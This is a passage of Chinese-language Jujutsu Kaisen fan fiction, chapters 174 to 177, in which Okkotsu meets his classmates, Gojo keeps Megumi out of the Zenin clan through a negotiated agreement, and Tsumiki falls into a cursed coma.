那感觉就像是在哄着一个五、六岁的小孩,可确实管用——包括在一些细节的反应上,乙骨忧太还能找到他与里香过往相处的影子。 都是他害里香变成这样的,他需要负起责任来。 否则,羽取老师大概第一个不答应吧。 乙骨忧太在内心吐了口气,伸手推开教室门时,莫名期待起自己即将遇到什么样的同学。 五条老师说要让他感到惊喜,怎么问也不肯透露给他啊。 不过,都是咒术师的话,应该会比较好相处…… “昆布。” 其中一位用高领挡住下半张脸的少年跟他打招呼。 “昆…昆布?” 出师不利,乙骨忧太第一句话就完全不知道该怎么接。 欸,为什么要对他说昆布……是什么特别的咒术界专用术语吗? “你就是乙骨忧太吗?我是熊猫,请多指教。啊,这边是真希,禅院真希。刚才说昆布的是狗卷棘。” 另一位更加奇形怪状……不对,是长得像一只熊猫模样的…呃,熊猫在对他打招呼,甚至还会说人话。 此刻的乙骨忧太已经不知道该摆出什么表情——哪怕第三位扎着马尾、戴了副眼镜的女生摆出压根不打算搭理他的姿态,乙骨忧太也仅是略打量了她一眼,确认完长什么模样后就没放在心上了。 眼下,他更好奇为什么会有熊猫在教室里,为什么熊猫还能说话,以及…… “你认识我?我不记得有见过你。” 乙骨忧太困惑眨了下眼,找到第四张、也是唯一一张空着的课桌坐好。 “你还挺有名哦,就是那件白色的制服。” 熊猫抬手——比起普通的熊掌,它甚至长着更接近于灵长类那方便抓握的五指——对准乙骨忧太身上穿着的白色上衣。 “在你没到之前,高专就已经下发通知给我们了,说[白色制服的学生名为乙骨忧太,是特级问题儿童,要我们尽可能离远一点,尤其避免引发冲突]。” 乙骨忧太:“………” 竟然说他是特级问题儿童……真过分。 “木鱼花。”狗卷棘举手。 “不过啊,五条老师说别管通知,让我们用平常心来对你就好了。” 熊猫补充完,又接了一句解释,“你刚才进来时,身上的诅咒气息确实把我们都吓了一跳,好惊人呢。” “啊,抱歉。”乙骨忧太不好意思道,“没关系的,里香在通常情况下都不会出来。” 熊猫:“里香?里香是谁?” 看着狗卷棘与熊猫这两位新同学求知欲旺盛的目光,乙骨忧太只好粗略给他们介绍一番——至于演示就不必了,他担心这间校舍会不小心被里香拆掉。 “……就是这样,我来这里上学的原因之一,也是想要解放她的灵魂。” 乙骨忧太以这句话作为最后的总结。看他们连连点头的模样,至少现在是听懂了的……但以后是否会真的就此放下心来,他也说不准。 直到这时,五条悟才带着教材姗姗来迟—— “咦,没有打起来?” 晚到几分钟的他歪了歪脑袋,语带惊讶。 自从去年圣诞节过后,五条悟工作时就没有再戴墨镜,而是依靠羽取一真送的纯黑眼罩来隔绝视线、减少[六眼]获取的情报量。 “欸,老师是故意晚到的吗?”乙骨忧太惊讶。 “哎呀,想说你们以后就是同学啦,就算互相看不顺眼也好歹可以趁我不在的时候随便打场架,增进下感情嘛。” 五条悟摇了摇食指,弯起嘴角的表情显得格外爽朗。 熊猫顿时大惊失色,“什么,竟然还想要我们和特级打,好可怕,会没命的!” 狗卷棘:“金枪鱼蛋黄酱!” 禅院真希:“啧。” 乙骨忧太:“咳……我不会随便打架的啦,老师。” 被米格尔特训过半年的他多少也拥有了战斗的自信,不会再像刚开始拿起木剑那般,没能坚持多长时间就体力不支,或是干脆落败。 “忧太在咒力上的控制也需要继续进步呢,”五条悟“嗯嗯”笑着点头,“加油哦。” “那么现在,我们要开始上课——” “喂,那边,”敏锐察觉到异常气息的禅院真希抬手一指没有关紧的教室门缝,“刚才好像有只狗在看我们。” 在她看过去的瞬间就跑开了,只能看到偏黑粽的毛发一闪而过。 “狗!?哪里有狗??” “鲑鱼!” 熊猫和狗卷棘立刻东张西望,瞪着那道门缝使劲瞧。 大家的注意力瞬间被吸引过去,又被拍了拍手的五条悟拉回来,表情笑眯眯的。 “不用太惊讶,那是我家的宠物跑来玩了哦。” “咦,五条老师还会养狗做宠物啊?” “我还以为老师肯定猫派……” “至少也该是熊猫派吧!” “你们啊,对我是狗派有什么意见吗?来听讲啦!” ………… 时间往前拨转一些,拨到乙骨忧太还没来高专报道之前。 羽取一真先接到了禅院直哉打来的电话,与他数年前定下的那道[束缚]有关。 “我终于找到你要的纹样资料了,” 禅院直哉如释重负,反过来开始朝这位天狼星煞神抱怨任务之艰巨,“这些年你杀得也太凶了,搞得我去加茂家都不方便,人家动不动就找各种理由拒绝外人入内……” 听着电话里长篇大论的抱怨,羽取一真只问了一句话。 “资料目前在哪?” “………”发现这恶魔完全没听进去的禅院直哉哽住半晌,泄气开口,“在我手上。” 羽取一真至今都搞不懂这些与咒力相关的东西,便让禅院直哉将资料带在身上,来东京高专找五条悟。 而他则使用[八相轮卡]的黑豆柴拟态,被五条悟光明正大带进高专旁听。 禅院直哉也只是奇怪五条悟竟然养狗了,没有怀疑它的真实身份就是那位压榨自己多年的恶魔。 两人加一只黑豆柴,就这么找到一间空教室,由禅院直哉将资料交给五条悟翻阅,以确认[束缚]的履行完毕。 “嗯……这是一个存在至少千年的远程链接性简易术式啊,发动起来也不难。” 虽然暂时不清楚一真找这个术式原理的缘由,但五条悟依旧认真看完了禅院直哉带来的那几页从不同古籍里誊抄下来的纸,指尖在桌面照着模样轻轻描摹这个需要从零构筑的刻印。 “不算复杂呢,我只要大概练习几遍,也能用出来哦。” 五条悟翻到最后面,“解除的办法看起来也不困难,随便学一下就会啦。” 禅院直哉:“……你还真是将什么都说得异常简单啊,悟君。” 难怪是能击杀甚尔,孤独伫立在顶点的强者……不,或许也称不上孤独吧。 这家伙,头顶上还有颗煞星在绕着他公转呢。 “因为这对我来说确实很简单啦,” 五条悟耸了下肩膀,将这几页纸收好,开始赶禅院直哉快点回去。 “我等会还有课,回头再试试这个术式……啊糟糕,已经超过时间了!” 他乱挼了把羽取一真的脑袋,示意他已经确认过这个纹样的资料啦,不用担心—— 然后赶紧去那间分给一年级新生的教室。 今天正好是忧太要来高专报道的日子,虽然他已经叮嘱过熊猫他们,但万一还是打起来了,他可得在现场看着点……嗯,至少不能把里香喊出来。 目送悟赶着去上课的身影消失在走廊,羽取一真用略带赞许的目光瞥了眼禅院直哉,自己也跳下桌面,打算离开高专。 上周目的伏黑津美纪大概就是这个时间点陷入沉睡的,他还得去打个电话,提醒伏黑津美纪近期不要去那座八十八桥。 不过,羂索这周目已经提前死了,她还会被打上标记吗? 羽取一真有点走神,路过其中一间教室时,恰好听见里面传来声音——是悟在讲话。 他从门缝里偷偷瞄过去一眼,没想到立刻就被里面的人发觉了,赶紧跑开。 后续的对话,依旧一字不落地被犬类那极为灵敏的听觉接收到了。 四只爪爪交错踩在地板上,这只黑豆柴肉眼可见的越跑越雀跃,乃至那根毛茸茸的尾巴也竖得高高的,左摇右摆。 而控制这具身体愈发熟练的羽取一真,此刻正精神高昂着,在心底得意的出声反驳。 什么狗派,熊猫派。 ——悟现在可是黑豆柴派。 第175章 羽取一真在确定已离开东京高专很长一段距离、附近也无人跟踪后, 便解除了黑豆柴拟态。 他拿出手机,给伏黑津美纪打去电话。 “咦,是一真哥哥?你好久没有过来啦。”伏黑津美纪接的很快, 语气也格外开心。 “我不过去你那边, 你们才会比较安全。” 羽取一真简明扼要给完解释,随即说明来意,“我打电话是要提醒你,近期不能去八十八桥。” “会很危险吗?” “嗯,你会有生命危险。听好了,绝对不要去。替我和理子她们也说一声。” 大学毕业的天内理子如今已正式开始工作, 也与黑井美里一起从伏黑家搬了出去,在公司附近租间公寓居住。 她和伏黑津美纪的关系非常好, 时常会在周末约出来一起玩, 羽取一真正好能拜托津美纪也帮忙提醒下天内理子和黑井美里。 羽取一真还问过夏油杰后来有没有联络过她们, 一律得到了摇头的回答。 他打上周目获得的情报, 到这里为止就差不多全部用完了。 这游戏接下来还会展开什么剧情,羽取一真心里也没底。 不过他还能做一件事, 就是让盘星教的教众帮忙调查身边或医院是否有人[陷入了未知原因的昏迷],之后再逐一确认身上是否有咒纹——倘若有,悟会出手帮忙解除术式。 ——以盘星教的吉祥物,又大又蓬松的蓝瞳白猫拟态。 反正拟态并不影响技能的使用嘛……当过大明星的悟可是常年在普通社会中保持高人气的, 样貌又太好辨认, 还是低调点为好。 就是负责引路的家属见盘星教的教祖竟然怀里揣着一只超可爱白猫过来说要解决问题,顿时惊呆。 倒是接应的教众对着羽取教祖怀里的那只猫猫两眼放光。 这可是每年夏冬两季才能有概率得以窥见一毛的圣猫大人……! 五条悟则跳到那位昏迷者的床边, 认真地来回踱步几圈,似乎在用[六眼]仔细端详;而后,他伸出柔软的前爪肉垫, 轻轻按在对方的头上。 普通人无法观测到咒力相关的事物,但无论五条悟抑或羽取一真,都能清晰看见浮现于昏迷者额头处的咒纹——就跟羽取一真上周目在伏黑津美纪额头上看见的一模一样。 解除术式的过程同样顺利,当五条悟收回前爪时,羽取一真也能看见那道血似的咒纹消失了。 ——只是,对方仍旧昏迷着。 这并非预期的结果。 在家属们期盼的目光中,这只由羽取教主带来的纯白猫咪在床边蹲坐,认真望着那位昏迷者片刻后,转身又跳回了教主怀里——在用爪爪扒紧他的和服时,猫脑袋轻轻蹭了蹭颈窝。 “教祖大人,请问是否有办法……” 其中一位家属没忍住询问结果,语气十分恭敬。 盘星教可是近年来在当地居民口中最受好评的一个宗教了,有问题随时可以前往附近的神社求助,不仅会尽心尽力帮忙解决,还从不强迫他们缴纳斋捐或香资。 羽取一真思考片刻,“有没有空房间?我需要独自待一会。” “情况不太对,我确认术式已经解除了。” 在家属立刻收拾出来的空房间内,解除白猫拟态的五条悟靠坐在窗台上,双手交叉怀抱在胸前,神情凝重。 “难怪一真曾经要直哉帮忙找咒纹资料,原来羂索提前数年就已开始布局,”他说,“只有一个理由能解释了,他们昏迷的原因并不是被这个术式标记。” “悟也没办法?”羽取一真问。 五条悟摇了摇头,“我用[六眼]确认过了,表面上的链接术式被解除后,他体内依然混有另一股外来的咒力。” “链接术式大概是为了远程施展某种咒术吧,那股外来的咒力才是昏迷的关键。不过啦,也不用太担心,我回去问问硝子有没有遇见过这种情况……嗯,九十九由基好像很擅长研究灵魂,我也可以去咨询下她的意见。” 五条悟笑着过来搭上羽取一真肩膀,用食指戳了戳他的脸——并有点可惜彻底张开的一真已经失去少年时期那戳起来手感软软的婴儿肥了。 “总会有办法解决的。” 羽取一真顶着被戳变形的脸默默点头,下一刻却把越戳越起劲的悟变回了白猫,伸手托在怀里。 被盘星教教徒尊称为圣猫大人的悟眨巴眨巴蓝瞳,发现此刻竟然攻守易型——这家伙开始可劲揉搓起他了! 可恶,但是……被挠下巴的感觉有点舒服,嗯,先原谅他五分钟吧。 羽取一真挼了悟咪一小会便及时收手,回到正在等候结果的家属处。 “圣猫大人说他被极其狡猾的恶灵附身了。” 羽取一真语气沉稳,平静,好像在说一件笃定会被解决的事情,极大抚平了家属的焦虑与不安。 “普通的除灵办法失效,我需要回去排查原因。很抱歉,需要你们再耐心等待一段时日。” “没关系,只要能救我的儿子,无论要我们等多久都可以!” 家属感激得连连鞠躬,将羽取一真与五条悟送走。 回去后的五条悟也问了家入硝子,她从来没有遇到过类似情况;后来又打电话给人在国外的九十九由基,她说自己也没见过这种现象,需要亲眼确认一下,但近期有事赶不回来。 五条悟猜测曾和羂索私底下接触过的夏油杰大概率知道这是怎么回事,可惜后者始终都不曾露面,想接触他也无从谈起。 等乙骨忧太终于拥有一个没被任务挤占的周末,从学校回到盘星教时,遇见正好也来帮忙的枷场菜菜子和枷场美美子。 “咒术高专念起来感觉怎么样?”枷场菜菜子很是期待,“会上数学课吗?应该不用吧?” 可别再上那些让她头大的课了,天天都得拼老命的写功课。 “只是同学数量少而已,咳,还是要上这些基础学科的……” 乙骨忧太有点不忍打破枷场菜菜子的美好幻想,但还是老实回答道。 “什么,还要学啊——” 枷场菜菜子朝天哀叹,又问他,“那同学呢,看起来怎么样?” “嗯……一头会说人话的熊猫,一个只能用饭团馅料交流的咒言师,和一个只能依靠咒具与体术祓除咒灵的[天与咒缚]。” 乙骨忧太掰着指头给枷场菜菜子数,“好像情况都挺奇怪的……啊哈哈。” 初次之外的经历倒是不必细讲,除了上课就是做任务,实话说跟入学前半年做的事情几乎没有什么差别,他很快就适应了。 “是啊,包括你自己的情况也很特殊,”枷场菜菜子格外沮丧的嘟囔道,“除了熊猫听上去有点意思以外,感觉其他人都不好相处啊……我和美美子明年遇到的同学也会这么奇怪吗?” 乙骨忧太眨眨眼,只好用无辜的表情示意自己也不清楚。 要说不好相处的话,那位禅院真希同学确实格外不好相处,讲话与处事都是不留情面的强硬,哪怕对五条老师也毫不客气,他不怎么习惯与这类人接触。 甚至在某些时刻,她的态度会令乙骨忧太回忆起在学校里时,那些曾用一副颐指气使的口吻使唤他去跑腿、或对着他使用语言暴力的霸凌者。 会让人忍不住远离,尽量不跟她过多交流。 熊猫则与禅院真希的关系还不错,像实战训练时,五条老师也多会安排他们两个一组,而他则与狗卷棘一组。 虽然狗卷同学只能通过饭团馅料交流,但他本人其实非常活泼,性格也很好——有时还喜欢跟着五条老师一起恶作剧。 乙骨忧太想了想,觉得这些话还是先不要说给菜菜子和美美子听了。 好比他上一届还有热衷赌博的秤学长,以及热爱女装的星学长……谁知道下一届会是什么情况呢。 不过,他听说被五条老师和羽取老师看着长大的伏黑惠,明年似乎要升高中了?也不清楚他会不会选择去高专就读。 ——这个问题,五条悟也特意询问过伏黑惠。 “你说不想去读高专?” 五条悟坐在沙发上,叹着气对他摇头,“恐怕不行哦。话说,明明惠也做了这么多年的[窗],祓除咒灵的经验也有大把,怎么反而排斥去高专呢……” 伏黑惠没有解释理由,只执着问道:“为什么不行?” 五条悟干咳一声:“这个嘛,惠其实是禅院家的直系血脉,继承了禅院的祖传术式……” 伏黑惠:“……这些我都知道,讲重点。” 五条悟摊开双手,笑容格外爽朗:“我也是前段时间才知道啊,你爸爸把你卖给禅院家主了!哎嘿。” 那家伙死前光说把儿子交给他随便处置,竟然没说其实已经和禅院家主——禅院直毗人达成交易,只要惠拥有祖传术式,就会花十亿买下他,将人带到禅院家培养…… 还是禅院直哉听说禅院直毗人在派人寻找伏黑惠的下落,以便确认那位禅院甚尔之子如今是否拥有祖传术式【十种影法术】时,担心下任家主之位被夺走的他赶紧打电话给羽取一真,才让五条悟知道还有这么一回事。 而此刻,刚听到自己其实早在五岁之前就被爹卖了的伏黑惠,陷入沉默。 伏黑惠:“……” 伏黑惠:“哈??卖了多少钱?” 五条悟的笑容依旧灿烂:“整整十亿。” ——吐出了让伏黑惠与旁听的伏黑津美纪都眼前一黑的数字。 “十、十亿……”伏黑津美纪喃喃,“我这辈子都没见过这么多钱……” “……那家伙已经拿到钱了?”伏黑惠默然片刻,“能让他还吗,我也不想去禅院家。” 他已经习惯了现在的生活,并不打算去禅院家……还是被卖过去的。 “应该拿到一部分定金了吧,具体我也没有去找禅院家主了解。但很遗憾的是,惠爸爸已经还不了钱了。” 五条悟歪过脑袋,手肘撑在双腿交叠翘起的膝盖上,“想知道他的下落吗?我早就说过可以告诉惠哦。” “不,我没有兴趣。”伏黑惠依旧拒绝,停顿片刻又问道,“卖给禅院家和我必须去高专有什么联系吗?” “我也猜到惠不想去禅院家啦,”五条悟说,“所以呢,惠需要和我过去一趟,处理这件事情。以及那十亿,我也会想办法帮忙销账哦。” 伏黑惠:“……代价是要我去念高专?” “不哦,没有代价。” 五条悟的唇角笑意收敛,认真对着他说道,“只是,我希望你来念高专。” “你大概没有意识到自己能觉醒【十种影法术】有多么罕见,这可是能与[六眼]加[无下限]抗衡的术式哦。所以数百年来,禅院家和五条家的关系一直很差。” 导致他每次看见禅院直哉忍辱负重给一真干活时,总感觉很有意思……啊,他可没用“幸灾乐祸”来形容哦。 “……为什么?” 这次,伏黑惠沉默了比之前更长的时间,才开口问五条悟。 “我想培养强大的伙伴,”五条悟回答。 “可靠又聪明的,能改变这腐朽咒术界的伙伴。” ……… 禅院家。 “不好意思,我带着伏黑惠来拜访哦——” 五条悟笑眯眯的,还特意解除自动运转的[无下限],用手掌拍了拍被禅院直毗人喊来一同招待的禅院直哉肩膀,把禅院直哉整个人都拍僵硬了。 “呀,好久不见呢,直哉。看你又漂了金发?不担心秃头吗?” ……你才会秃头! 可恶,原来伏黑惠一直都被这两个家伙藏起来了吗! 亏他还特意打电话找羽取一真求助,根本就是白白送情报上门! 禅院直哉绷着张臭脸,笃定自己的家主之位肯定不保,却听到五条悟转向心情愉快的禅院直毗人,下句开口的话是—— “抱歉,甚尔早就说过他的儿子任我处置,所以我不打算把他让给禅院家喔。” 禅院直哉:……! 禅院直哉在内心狠狠握拳:YES!YES!! 下任家主之位果然还是他的! 羽取一真也不是什么特别狠心的魔鬼嘛!连带五条悟看着都变得顺眼起来了! “……这下可麻烦了,那家伙已经收过我钱了啊。” 哪怕接待地位与他相当的五条家主,禅院直毗人仍旧不忘提着酒壶,给自己灌了满满一口,“你打算一分不少的还给我吗?” “人口买卖是犯法的,大叔。” 五条悟笑眯眯道,“需要我给你念一下现代的日本相关法律吗?我背得可熟了,几年前还给挂在高专名下的咒术师们加薪了喔。” 为了匹配他们的工作强度,改成以委托的强度及数量来划定的计件薪水了。 咒术师竟然拿日本法律说话,禅院直毗人愣住半晌,胡子慢吞吞一抖——发现他竟然还找不出理由反驳。 因为五条悟这话摆明了打算赖账,而他和甚尔也只是口头协议,不存在纸质合同……或者按照这小子的说法来讲,就算有合同也是无效。 倘若换个地位低点的人来这么对他说话,禅院直毗人肯定要把那混账打出去,然后扣下伏黑惠的。 但眼前说这句话的,是五、条、悟。 伏黑惠跪坐在五条悟身后,好似正依靠着一座宏伟而险峻的高山,没人能动他。 “………” 见禅院家主憋了半晌,只能气闷得又给自己灌了好几口酒,五条悟转过目光,从墨镜后扫了眼对方身后几乎喜笑颜开的禅院直哉,唇角同样弯出和善的笑容。 “不过,这也不是不能商量嘛——我们来拟定另一个条款如何?” 第176章 禅院直毗人迟疑许久, 还是答应了五条悟提出的条件。 理由很简单,他打不过五条悟,而禅院家也极难抗衡眼下被五条悟带着如日中天的五条家。 在这种事情上, 想要去拉拢加茂家与五条家叫板也做不到——加茂家既不想触五条悟的霉头, 也不打算增强禅院家的实力。 最关键的一点:伏黑惠本人同样没有回归禅院家的意愿,而他已并非可随意拿捏的五、六岁幼童。 就算禅院直毗人强硬将如今的伏黑惠扣下来,也只会升起后者对禅院家的反感。 至于这个协议具体的内容…… [依照伏黑惠的意愿,其目前由五条悟进行看护,不回归禅院家。但,倘若因某种缘由致使五条悟死亡或丧失意思能力的情况出现时, 禅院直毗人与伏黑甚尔的誓约则生效,迎纳伏黑惠回归禅院家, 继任家主一职。] 这段话一出, 禅院直哉的表情变化实在太过精彩了, 五条悟险些没有绷住笑声。 禅院直毗人看不见自家儿子的表情, 只是低着头思忖片刻,直白问五条悟。 “怎么, 你在担心自己以后会出事?” “嗯?才不是啦。” 五条悟歪过脑袋,朝这位嗜酒却精明的禅院家主露出一个从容的、轻慢的张扬笑意。 “——只是对我自己很有自信而已。” 钱是一分都不可能还的,但若是他强硬的完全切割伏黑惠与禅院家的联系,说不准禅院直毗人会在背后动什么手脚。 这份协议的签订, 便是既能让对方产生些许[伏黑惠还有可能回归禅院家]的希望, 又不至于让伏黑惠本人成为禅院直毗人出手的靶子。 至于往后那些或许会冲着他来的阴谋诡计? 五条悟笑了笑,对自己的实力拥有绝对的自信。 “是吗?老夫可不这样认为。” 五条家主与禅院家主对约定内容都没有疑问, 协议顺利落成,禅院直毗人挥手让禅院直哉送五条悟和伏黑惠离开,又继续自顾自地沉醉于美酒带来的酣醉之中。 五条悟自然也没打算跟向来就不对付的禅院家闲聊, 起身就与对方告辞。 三人在长廊上走了一段,穿过庭院的蜿蜒小径,快要靠近大门时——见旁边没有其他人的身影,禅院直哉忍无可忍回头,很是用力的瞪向五条悟。 五条悟无辜开口:“我脸上有脏东西吗?” 禅院直哉:“……你这协议是什么意思?” 五条悟:“就是很普通的字面意思啊。哎呀——某人这么聪明,应该能听出我的话外之意吧?” ……这家伙,不就是在明明白白对他说“直哉啊,想当禅院家主吗?那可要好好保护我哦,绝对不能让我出事呢”。 跟羽取一真那个恶魔混久了,连五条悟都变成了何等卑鄙的混蛋! 禅院直哉很确定哪怕他今天不在场,五条悟或者羽取一真也会在之后特意跟他说这份协议的内容——不就是想让他被禅院家主这根胡萝卜吊着,尽心尽力地去保五条悟平安无事吗。 可恶! 还真是被他们成功看扁了! 禅院直哉气得很,又无法将这些不可直说的野心当着伏黑惠的面直接摊开来,只能冷脸憋了半晌,硬邦邦哼出一声“你说呢”。 而后,他在伏黑惠那一头雾水的目光中,重新转回身去,继续气闷着带路。 五条悟发出精准拿捏某人心理的笑声:“哈哈。” 禅院直哉:“………”好气!! 假如换成羽取一真在这里,他是压根不在乎禅院直哉气成什么样的,只要能继续给他干活就行;但五条悟笑够了禅院直哉这一系列实在有趣的反应之后,还会开口安慰人。 “呀——坦白说,有直哉在也让我松了口气呢,毕竟惠已经过习惯了普通人的生活,并不太愿意回来当禅院下任家主。要是就这样让禅院家后继无人,我也会感到苦恼啦。” 这句话也相当于在暗示五条悟、或者说羽取一真是支持禅院直哉当下任禅院家主的。 至于伏黑惠,他闷不吭声走在五条悟身后,默认了自己并不想接手禅院家的事实。 禅院直哉的脚步一顿,“真的?” “真的真的,”五条悟笑眯眯道,“但我要是用这个理由拒绝,岂不是太不给禅院家主面子?只好另外想个能让大家都各退一步的办法。” “……对我说这些可没什么用,禅院下任家主未必是我。” 禅院直哉过了片刻才接话,好似在聊着与他无关的事情。 ——但在脑海里,某人已经坐在钢琴前弹起激昂的旋律来庆祝,欢快又热烈。 YES,禅院下任家主果然还是注定属于他的! 只要保住悟君就等于排除了伏黑惠这个外来因素,而那些废物怎么可能有资格和他争夺家主之位! 面对肉眼可见越来越雀跃的禅院直哉,迷茫加倍的伏黑惠看向五条悟——后者吐着舌尖,冲他俏皮一摊手。 他和直哉和一真常年私底下有来往这件事可是秘密,还是不要说给小孩听啦。 “………”但伏黑惠没看懂。 什么意思,在说禅院直哉的脑子不太好使? 看起来好像是有点。 “哦…对了对了,” 将五条悟和伏黑惠送到停在大门旁的轿车边时,似乎已平复好心情的禅院直哉又主动开口问五条悟。 “听说那个真希离家是去东京高专就读了,真的假的?” 坐在副驾驶的五条悟按下车窗,手肘撑着窗棱朝他这边看来。 “嗯,没错哦。需要我帮你带个口信给她吗?” “哈——才不要,那家伙只有一张脸勉强能算是优点啊,根本没什么好聊的。” 扯了扯嘴角,禅院直哉言语尖锐的讥讽道,“认不清自己地位、也不懂规矩的废物,眼光却傲慢得很。倘若她有甚尔那样的实力,倒能让我高看一眼,可惜终究是个除了心高气傲外一无所有的普通人。” 五条悟:“……” 禅院直哉平常都不敢对着他和一真大声讲话,敬语上的使用也十分正确,让他都忘记了这家伙的嘴有时真是毒得可以。 “呼,我只是满足下自己的好奇心而已,并没有额外的需求。” 五条悟还没想好该怎么回,禅院直哉就已经后退两步,双手拢在和服的袖口里。 “那么再会了,悟君,还有惠君。” 在面对实力强大的五条悟,以及拥有【十种影法术】、潜力无限的伏黑惠,他又变得彬彬有礼起来,甚至朝他们露出友善的道别笑意。 虽说禅院直哉有着末端上挑的狐狸眼,无论怎么笑都让人感觉满肚子坏水,狡猾得很。 伏黑惠很难给自己对禅院直哉的印象做一个总结,但多少为自己以后不用去禅院家而松了口气。 曾经被伏黑津美纪按着后脑勺向五条悟道谢的次数多了,这时的伏黑惠也终于学会主动开口:“……谢谢。我明年会去读高专。” “哎呀,惠改变心意了?” 靠在椅背上的五条悟双手环抱在胸前,笑着扭头朝后方望去,“因为这一趟受到刺激了吗?” 伏黑惠没有与人剖析内心想法的习惯,垂眼沉默半晌,才给出一个简短的理由。 “只是觉得……我自己也需要强大起来才行。” 不仅是来禅院家这一趟的经历,还有过往兼职当[窗]时的所见所闻,都在朝他诉说着这一点的重要性。 “嗯嗯——无论怎么说,惠愿意入学咒术高专这点也值得庆祝,我请客哦,晚上一起去大吃一顿吧!” 心情超级好的五条悟拿出手机,已经开始提前约起人来。 “把一真、津美纪和理子他们都叫上,在琦玉吃的话也不用担心被高专那边的人撞见——嗯,怎么这么多个未接电话?” 五条悟嘀咕了一句,想起自己在进禅院家前特意将他和惠的手机都调成静音模式。 “不,我觉得这个没什么庆祝的必要……” 伏黑惠没来得及伸手阻拦,五条悟已拨出去了一通电话;他只能在坐回位置上,默认今晚即将有一场热热闹闹的庆祝会。 ——然而,接下来的展开与刚才车内气氛截然不同。 五条悟只喊了声“理子”,便没有继续说话;反而是他的神色愈来愈凝重,近乎到了面无表情的程度。 一种压抑的不安笼罩在车内,令思维惯常消极的伏黑惠也跟着情绪沉到底,脑海里难以克制的浮现出许多糟糕的念头。 是有谁出事了……是津美纪吗? “……我明白了,嗯。我们马上就回来。” 五条悟简短说完便挂断电话,整个上半身都倚靠着椅背,仰起头,不知道在想什么。 从坐后座的伏黑惠视角斜斜望过去,能从墨镜边缘的空隙里瞥见对方浅白的睫羽低垂——甚至彻底闭起了眼。 还是第一次看见他露出这样的反应。 有那么一瞬间,伏黑惠想出声喊五条悟的名字,询问他到底从天内理子那里听见了什么坏消息。 但他张了张嘴,喉咙已被内心那股不妙的预感逐渐扼紧,以至于发不出半点声音。 但很快,调整好情绪的五条悟便重新睁开了眼。 “惠。” 他低沉喊了声伏黑惠的名字,甚至将整个上半身都朝后方侧过来,以一种相当郑重且严肃的姿态对他说道。 “你的姐姐,津美纪……陷入了不明原因的昏迷。” 伏黑惠:“……” 伏黑惠:“……什么?” “理子去找她时才发现的,不清楚昏迷了多久,打给我和你的电话都没有通,好在联系上了一真,送到医院后没有检查出任何异常……一真特别提醒过她不能去八十八桥,那里的咒灵也已经被我祓除了。” 五条悟声音很低,透出冰冷的寒意。 “她是独自在家里时,被敌人亲自上门标记的。” ……是夏油杰干的。 第177章 伏黑惠和五条悟坐车赶到天内理子报的医院, 直奔病房而去。 开门时,五条悟一眼便看见天内理子、黑井美里和羽取一真都在,只是气氛极其压抑, 除了不时响起的轻微抽泣声外, 没人开口说话。 “津美纪!津美纪!姐姐!” 伏黑惠则径直冲到伏黑津美纪床前——哪怕喊了再多声也毫无反应,她仍闭目安静躺着,宛若沉入了一场普通的、安宁的睡梦之中。 “没有用的,”天内理子缓慢摇头,声音很低。 “一真说她是被诅咒了。” 在伏黑津美纪的眉间往上,正浮现出那枚以血作墨般的猩红咒纹。 心神慌乱的伏黑惠同样看见了这枚极醒目的咒纹——他骤然扭头将目光转向羽取一真, 几乎要难以抑制自己此刻的失态。 “有…有办法解除吗?” “只能先让悟帮忙解除这个远程链接术式,”羽取一真轻轻摇头, “具体是什么原因导致的昏迷, 我们也还在找。” 他百分之百确定羂索已经死亡, 如今伏黑津美纪却仍旧被诅咒。 而按照第一发现者天内理子的说法, 家里没有任何撬锁及潜入的痕迹,倒在地上的伏黑津美纪也全然没有挣扎, 仿佛一切平安静好。 唯一有所变动的,仅有安置在玄关处的鞋柜。 伏黑津美纪分别给天内理子、黑井美里、五条悟、羽取一真和夏油杰都准备了专属的拖鞋,样式各有不同,很好分辨。 由于夏油杰和羽取一真很久没有到过伏黑家, 他们两人的拖鞋因使用频率太少, 逐渐挪到最下面一层;但伏黑津美纪仍然会经常拿出来擦洗得干干净净,确保它在需要被使用时不会落满灰尘。 而就在天内理子发现伏黑津美纪昏迷的时候, 她同时注意到属于夏油杰的那双拖鞋有被动过的痕迹——或许对方依旧原样放了回去,但鞋底已沾染上的灰尘依旧与羽取一真的那双有差别。 只将这些线索串联起来,羽取一真便能推测出现场的大概情况: 夏油杰特意选在五条悟与伏黑惠都不在家的这天登门拜访, 伏黑津美纪很高兴的拿出属于他的那双拖鞋给人换上,而后毫无防备的被夏油杰出手击晕,种下未知的诅咒。 是羂索交给他的办法吗,果然在夏油杰当盘星教的教祖期间,它就藉由[虎杖香织]的身体,一直在私下接触夏油杰。 大概是抱着[即使获得夏油杰遗体的计划失败,也能让夏油杰继承它的遗志]的打算吧。 那家伙太过狡猾,已经察觉到羽取一真和夏油杰未必是真叛逃——倘若没有能完全拟态的[八相轮卡],最后的刺杀计划未必能如此顺利。 即便如此,它的后手仍旧成功了,他们的敌人从羂索变成了夏油杰。 而眼下情况亦如此前的昏迷者那般,五条悟能够解除这个用于标记的远程链接术式,却无法令伏黑津美纪苏醒。 “只有一个勉强算是好消息的消息,” 在确定伏黑津美纪额头上的那枚咒印已经消失后,五条悟安慰道,“至少敌人没办法再通过这个链接标记发动远程术式,对津美纪造成二次伤害。” 紧盯着伏黑津美纪的伏黑惠没有开口回应,但紧绷的肩膀明显放松许多。 “至于如何让津美纪醒来……别担心,”五条悟说,“我和一真会找到办法的。” “真的吗?太好了呜……” 无论伏黑惠有没有相信五条悟的保证,但始终百分之百信赖五条悟和羽取一真的天内理子顿时长舒口气,眼泪汪汪的应道。 五条悟也久违摸了摸她的脑袋安抚——亦如当初的[星浆体]事件,他同样坚定的将天内理子护在自己的羽翼之下,毫不动摇。 “会有办法的。”他说。 伏黑惠突然开口:“下手的是夏油杰?” 听完天内理子刚才的描述,他怎么可能会推理不出来元凶是谁。 “不要多想,以你现在的实力,就算找到他也做不了什么。” 五条悟也拍了拍伏黑惠的肩膀,很直白地指出事实——哪怕往高了说,惠目前也只有二级咒术师的实力,去对抗特级术师的夏油杰无异于送死。 “你先安心上学,其余的交给我来处理。” “………” 看着仍旧昏迷的伏黑津美纪,伏黑惠默然半晌,才低声回了一句。 “我知道了。” ……… 夕阳逐渐落尽时,天内理子、黑井美里、羽取一真与五条悟先后离开伏黑津美纪的病房,只有伏黑惠说他还想一个人再待会,独自留了下来。 回去路上,五条悟也一反常态的安静,神色几乎可以称得上凝重。 他在绝大多数时候都表现出一种处理任何事情皆游刃有余的轻松,极少会露出如此严肃或郑重的表情。 “悟。” 直到被羽取一真叫了声名字时,五条悟才从走神中恍然扭头,看向明显在担心他状态不对的恋人。 